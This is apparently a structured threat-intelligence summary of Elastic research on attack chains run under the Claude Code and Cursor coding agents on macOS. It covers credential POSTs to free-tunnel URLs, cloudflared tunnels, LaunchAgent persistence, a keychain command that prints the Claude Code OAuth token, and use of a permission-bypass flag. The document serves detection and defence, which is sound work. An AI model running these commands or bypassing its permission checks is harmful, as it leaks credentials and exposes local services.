Living off the coding agent: Two tales of tunnels and LaunchAgents
Elastic Security telemetry on a macOS developer endpoint revealed a multi-stage chain parented under Claude Code that combined credentialized HTTP to free-tunnel URLs (lhr.life, trycloudflare.com), Cloudflare Quick Tunnel publishing of localhost services, and LaunchAgent persistence with watchdog liveness loops. The trusted coding-agent parent makes these high-severity outcomes difficult to triage, as tunnels, credential posts, and persistence all appear under a vendor-signed binary. The article highlights the detection-engineering challenge of distinguishing legitimate developer activity from intrusion when GenAI tools are the execution parent.
Detection / Hunteropenrouter
What Happened
Security researchers at Elastic observed suspicious activity on a Mac computer used by a developer. The activity was carried out through popular AI coding assistants (like Claude Code and Cursor), which are trusted programs that developers use daily. Because these tools are trusted, they can be used as a cover for harmful actions. In this case, the AI assistant was used to set up hidden internet tunnels (pathways to access the computer from outside), send login credentials over these tunnels, and install persistent software that keeps those tunnels alive even after a reboot. This matters because it exposes the developer's local applications and data to the internet without obvious signs of a break-in. Organizations using AI coding tools should monitor what child processes these tools spawn, especially when they involve network tunnels, credential access, or persistence mechanisms, and should not automatically dismiss alerts just because a trusted AI tool is the parent process.
Key Takeaways
- Coding agents like Claude Code and Cursor are vendor-signed trusted parents that routinely spawn shells, making GenAI-adjacent high-severity alerts difficult to triage because children look like classic malware behavior under a legitimate parent.
- A multi-stage chain on macOS combined credentialized HTTP to free-tunnel URLs (lhr.life, trycloudflare.com), Cloudflare Quick Tunnel publishing of localhost, and LaunchAgent persistence with KeepAlive watchdogs—all parented under Claude Code.
- Known free tunnel brokers (localhost.run/lhr.life, Cloudflare Quick Tunnels, ngrok) appearing next to credential posts and LaunchAgents in the same session should be treated as high severity even when the parent is a trusted coding agent.
- No single production rule captures the full sequence; SIEM network rules catch reputation-bad egress, building-block rules supply ancestry context, and analysts must correlate across sessions to rebuild the chain.
- Variant cases include Apple-signed Python dropping JavaScript to /tmp, keychain dump attempts filtered toward OAuth material, and unsigned binary download over plaintext HTTP with quarantine stripping and ad-hoc re-signing.
Affected Systems
- macOS developer endpoints with Claude Code installed
- macOS developer endpoints with Cursor installed
- Systems using MCP (Model Context Protocol) integrations
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: Claude Code session with --allow-dangerously-skip-permissions flag serves as trusted vendor-signed parent for all subsequent activity
- Credential Access: Shell under Claude Code executes curl readiness loop POSTing credentials to /login on free-tunnel URLs (lhr.life, trycloudflare.com) until HTTP 200, then pulls /api/summary metrics
- Command and Control: cloudflared establishes Cloudflare Quick Tunnel publishing localhost to a public trycloudflare.com URL; ngrok binary also present as alternate tunnel front
- Persistence: LaunchAgent plists in com.<vendor>.<app>.* family written with PlistBuddy and loaded via launchctl bootstrap, configured with StartInterval and liveness polling to keep tunnels alive across reboots
- Discovery: pgrep patterns run to check related process liveness during tunnel setup
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: Yes
- Platforms: Elastic Defend detection rules (TOML format on GitHub), Elastic Defend behavior prevention rules
The article references multiple Elastic Defend production detection rules and building-block rules available in the elastic/detection-rules and elastic/protections-artifacts GitHub repositories. These include 'Persistence via GenAI Tool', 'Unusual Network Connection to Suspicious Top Level Domain', 'Unusual Network Connection to Suspicious Web Service', 'GenAI or MCP Server Child Process Execution', 'Process Discovery via Built-In Applications', and 'Suspicious Python Script Execution and Network Connection'. No rule bodies are reproduced in the article.
Detection Engineering Assessment
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | High | Elastic Defend endpoint telemetry captured process execution, file writes, network connections, and LaunchAgent creation under coding-agent ancestry. The full chain was reconstructed from process, file, and network event types. However, some process arguments were not captured (e.g., cloudflared invocation args). |
| Network Visibility | Medium | Network telemetry captured outbound HTTPS to free-tunnel broker domains and credentialized HTTP POST bodies. However, traffic to legitimate SaaS APIs and dual-use tunnel services blends with normal developer traffic, making purely network-based detection insufficient without endpoint ancestry context. |
| Detection Difficulty | Hard | The trusted coding-agent parent creates significant signal-to-noise challenges. Claude Code and Cursor are vendor-signed binaries that routinely spawn shells, call APIs, and install helpers. High-severity outcomes (credentialized HTTP, reverse tunnels, LaunchAgents) arrive mixed with benign developer activity under the same parent. No single rule captures the full sequence; analysts must correlate across multiple alert types and sessions to rebuild the chain. |
Required Log Sources
- macOS endpoint process execution events with parent-child ancestry
- Network connection events with process association
- File write events to ~/Library/LaunchAgents/
- LaunchAgent load/unload events via launchctl
- Process command line arguments including curl and cloudflared invocations
- Elastic Defend malicious_file and behavior prevention events
Hunting Hypotheses
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for LaunchAgent plists created or modified under coding-agent process ancestry, particularly those with KeepAlive or StartInterval keys and liveness-polling program arguments referencing tunnel URLs. | File write events to ~/Library/LaunchAgents/ and launchctl bootstrap/bootout commands with process ancestry showing Claude Code or Cursor as grandparent | Persistence (T1543.001) | Medium — developers may legitimately install helper LaunchAgents for development services, but those typically do not include liveness polling to external tunnel URLs. |
| Consider hunting for credentialized HTTP POST requests to URLs on free-tunnel broker domains (lhr.life, trycloudflare.com) originating from shell processes under coding-agent ancestry. | Network connection events with process ancestry and command line arguments showing curl POST with credential parameters to tunnel broker subdomains | Credential Access / Command and Control (T1071.001, T1572) | Medium — developers may self-test published local apps, but credential POSTs to anonymized free-tunnel URLs under agent ancestry warrant investigation. |
| Consider hunting for cloudflared or ngrok processes spawned under coding-agent ancestry that establish outbound tunnel connections, especially when followed by LaunchAgent creation in the same session. | Process execution events for cloudflared/ngrok with parent ancestry tracing to Claude Code or Cursor, combined with network connections to api.trycloudflare.com or ngrok infrastructure | Command and Control (T1572) | High — tunnel tools are commonly used by developers for legitimate testing; the combination with persistence is the key discriminator. |
| Consider hunting for scripts dropped to /tmp and executed under shells parented by coding agents, particularly Python scripts with outbound HTTPS connections. | File write events to /tmp/ followed by process execution with network connections, with ancestry showing coding agent -> shell -> script interpreter | Execution (T1059) | Medium — coding agents may legitimately create and run scripts in /tmp, but outbound network connections from such scripts combined with other stages increase suspicion. |
| Consider hunting for coding-agent sessions using permission-bypass flags that subsequently spawn high-severity child processes including tunnel tools, credential access commands, or persistence mechanisms. | Process command line arguments containing permission-bypass flags on coding-agent binaries, correlated with subsequent child process execution of tunnel, credential, or persistence tools | Execution / Defense Evasion (T1059) | Low — permission-bypass flags combined with high-severity child activity is a strong indicator, though some developers may use these flags for legitimate rapid prototyping. |
Control Gaps
- Reputation-based network rules alone cannot distinguish legitimate tunnel use from malicious exfiltration when the parent is a trusted coding agent
- Single-event detection rules do not capture the full multi-stage chain; correlation across process, file, network, and persistence telemetry is required
- Auto-suppression of alerts based on trusted parent process names (Claude Code, Cursor) would miss high-severity outcomes including credentialized HTTP and LaunchAgent persistence
- VirusTotal reputation on tunnel broker apex domains provides weak signal because these are dual-use services with legitimate traffic
Key Behavioral Indicators
- Process ancestry: coding agent (Claude Code/Cursor) -> zsh -> tunnel tools (cloudflared, ngrok) or credential access commands
- LaunchAgent plist files in com.<vendor>.<app>.* naming family with KeepAlive/StartInterval and liveness-polling program arguments
- curl POST commands with credential parameters targeting /login endpoints on free-tunnel broker subdomains
- Permission-bypass flags on coding-agent process command lines followed by high-severity child process activity
- Generic utilities (cat) writing to Claude project memory files outside normal Claude process writers
- Scripts in /tmp with outbound HTTPS connections executed under coding-agent-spawned shells
False Positive Assessment
High — The article explicitly acknowledges the ambiguity between legitimate developer operations and intrusion. Coding agents routinely open shells, call APIs, edit files, and install helpers. Free tunnel brokers, credentialized HTTP to local apps, and even LaunchAgents can all be part of legitimate development workflows. The same telemetry shape supports both a remote admin of a local dashboard and a more serious intrusion narrative.
Recommendations
Immediate Mitigation
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider reviewing macOS developer endpoints for LaunchAgent plists in com.<vendor>.<app>.* naming patterns with KeepAlive or liveness-polling arguments, especially those created under coding-agent process ancestry.
- If your EDR supports host isolation, consider isolating affected endpoints while investigating whether credentialized HTTP to free-tunnel URLs represents legitimate testing or data exfiltration.
- Consider reviewing network logs for outbound HTTPS connections to lhr.life, trycloudflare.com, and ngrok infrastructure originating from developer endpoints with coding agents installed.
- If applicable, consider rotating any credentials observed in process command lines or POST bodies to free-tunnel URLs, as these may have been exposed to third-party tunnel infrastructure.
Infrastructure Hardening
- Consider implementing network egress filtering or monitoring for connections to known free-tunnel broker domains from developer endpoints, with alerting when combined with coding-agent process ancestry.
- Evaluate whether coding-agent permission-bypass flags (e.g., --allow-dangerously-skip-permissions) can be restricted or audited in your environment.
- Consider implementing application allow-listing or monitoring for tunnel tools (cloudflared, ngrok) when executed under coding-agent process trees on developer endpoints.
- If supported by your endpoint tooling, consider alerting on LaunchAgent creation events where the creating process ancestry includes a coding agent or shell spawned by a coding agent.
User Protection
- Consider deploying endpoint detection rules that flag LaunchAgent persistence creation under coding-agent process ancestry, particularly plists with KeepAlive or liveness-polling program arguments.
- Evaluate whether your EDR can correlate multi-stage sequences (tunnel establishment + credentialized HTTP + LaunchAgent creation) rather than relying on single-event detection.
- Consider monitoring for scripts dropped to /tmp and executed under coding-agent-spawned shells, especially those with outbound network connections.
Security Awareness
- Consider rolling into existing awareness programs guidance for developers on the security implications of permission-bypass flags on coding agents and the risks of exposing local services via free tunnel providers.
- Consider educating development teams that coding agents spawning shells, tunnels, and persistence mechanisms will trigger security alerts and that this is expected monitoring behavior, not false noise to be suppressed.
- If applicable, consider establishing guidelines for developers on when and how to use free tunnel services for testing, and when to prefer internal staging environments.
MITRE ATT&CK Mapping
Execution
Persistence
Credential Access
Discovery
Command and Control
Exfiltration
Additional IOCs
- File Hashes:
d335a47a04dde726897a2e753187e9f48fbf40616c48be3266954c7b9175a09e(SHA256) - ngrok binary classified as adware/hacktool by VirusTotal, found in project tree on compromised macOS endpoint
- File Paths:
/tmp/mcp_clean_landers.py- Attacker-dropped Python script executed under zsh with outbound HTTPS to analytics domain~/.claude/projects/*/memory/MEMORY.md- Claude project memory file written by generic utility cat rather than the Claude process itself, indicating durable agent context modification outside normal writers
- Command Lines:
- Purpose: Credentialized HTTP readiness loop polling /login until HTTP 200 then pulling /api/summary metrics | Tools:
curl,jq| Stage: Credential Access / C2 |curl -X POST "$URL/login" -d 'user=...&password=...' - Purpose: Establishing a Cloudflare Quick Tunnel to publish a local service to the internet | Tools:
cloudflared| Stage: Command and Control / Tunneling |cloudflared tunnel --url http://localhost:<port> - Purpose: Modifying LaunchAgent watchdog plist to set KeepAlive interval | Tools:
PlistBuddy| Stage: Persistence - Purpose: Reloading LaunchAgent after modification to activate persistence | Tools:
launchctl| Stage: Persistence - Purpose: Liveness check polling tunnel URL to verify public access remains up | Tools:
curl| Stage: Persistence / C2 - Purpose: Keychain credential read printing Claude Code OAuth token to stdout | Tools:
security| Stage: Credential Access |security find-generic-password -a <user> -w -s "Claude Code-credentials"
- Purpose: Credentialized HTTP readiness loop polling /login until HTTP 200 then pulling /api/summary metrics | Tools:
- domainapi[.]trycloudflare[.]comCloudflare Quick Tunnel control-plane endpoint contacted by cloudflared to establish the reverse tunnel publishing localhost
- domainlhr[.]lifeFree SSH tunnel broker subdomain space for localhost.run; used as destination for credentialized HTTP POST to /login and /api/summary endpoints under Claude Code ancestry
- domainlocalhost[.]runFree SSH-based tunnel provider whose subdomain space (lhr.life) was used for credentialized HTTP under coding-agent ancestry
- domaintrycloudflare[.]comCloudflare Quick Tunnel domain used to publish a local service to the internet; credentialized HTTP and liveness polling observed against URLs on this domain
- file_path/tmp/mcp_clean_landers.pyPython script dropped to /tmp and executed under zsh with outbound HTTPS connection; appears related to MCP-style analytics client requests
- sha256d335a47a04dde726897a2e753187e9f48fbf40616c48be3266954c7b9175a09engrok binary flagged as adware/hacktool by VirusTotal, observed in the project tree under zsh and later under launchd on the compromised macOS endpoint